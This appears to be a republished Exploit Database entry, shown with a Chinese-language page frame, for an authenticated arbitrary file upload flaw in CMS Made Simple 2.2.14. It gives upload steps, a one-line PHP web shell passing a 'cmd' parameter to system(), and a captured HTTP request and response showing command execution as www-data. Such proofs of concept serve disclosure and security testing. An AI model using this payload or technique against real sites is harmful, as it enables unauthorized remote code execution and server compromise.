CMS Made Simple 2.2.14 – Authenticated Arbitrary File Upload

• Exploit Database
• 125 阅读

• 作者： Roel van Beurden
  日期： 2020-08-12
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/48742/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54

  # Exploit Title: CMS Made Simple 2.2.14 - Arbitrary File Upload (Authenticated) # Google Dork: - # Date: 2020-07-29 # Exploit Author: Roel van Beurden # Vendor Homepage: https://www.cmsmadesimple.org/ # Software Link: http://s3.amazonaws.com/cmsms/downloads/14793/cmsms-2.2.14-install.zip # Version: 2.2.14 # Tested on: Linux Ubuntu 18.04 # CVE: N/A     1. Description: ---------------------- CMS Made Simple 2.2.14 allows Authenticated Arbitrary File Upload because the File Manager does not block .ptar and .phtml files. A malicious user can perform remote code execution.     2. Proof of Concept: ---------------------- - Create .phtml or .ptar file with malicious PHP payload; - Upload .phtml or .ptar file in the &apos;File Manager&apos; module; - Click on the uploaded file to perform remote code execution.     3: Example payload: ---------------------- <?php system($_GET[&apos;cmd&apos;]);?>     4a: Burp request: ---------------------- GET /cmsms/uploads/rce.phtml?cmd=id HTTP/1.1 Host: 10.10.10.12 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close   Cookie: d2f3b04a992e92af78d4f451813df40fa6f4f4b4=2c462b984c95aa0a8d18f59e2dd21defb7d7e368%3A%3AeyJ1aWQiOjIsInVzZXJuYW1lIjoiUm9lbCIsImVmZl91aWQiOm51bGwsImVmZl91c2VybmFtZSI6bnVsbCwiaGFzaCI6IiQyeSQxMCQ4NS5qSy5nTTMxZmJEQmlGTXlIYlQuUUR5eFRDekpsSVFncjhOS1FMbDhBSUlIUjVYeVNJZSJ9; __c=e9ef732e78dc5a9f603; CMSSESSIDde72be53c754=71mvdcppeeunddtap69k26ia4v   Upgrade-Insecure-Requests: 1     4b: Burp response: ---------------------- HTTP/1.1 200 OK Date: Thu, 30 Jul 2020 23:14:47 GMT Server: Apache/2.4.29 (Ubuntu) Content-Length: 54 Connection: close Content-Type: text/html; charset=UTF-8   uid=33(www-data) gid=33(www-data) groups=33(www-data)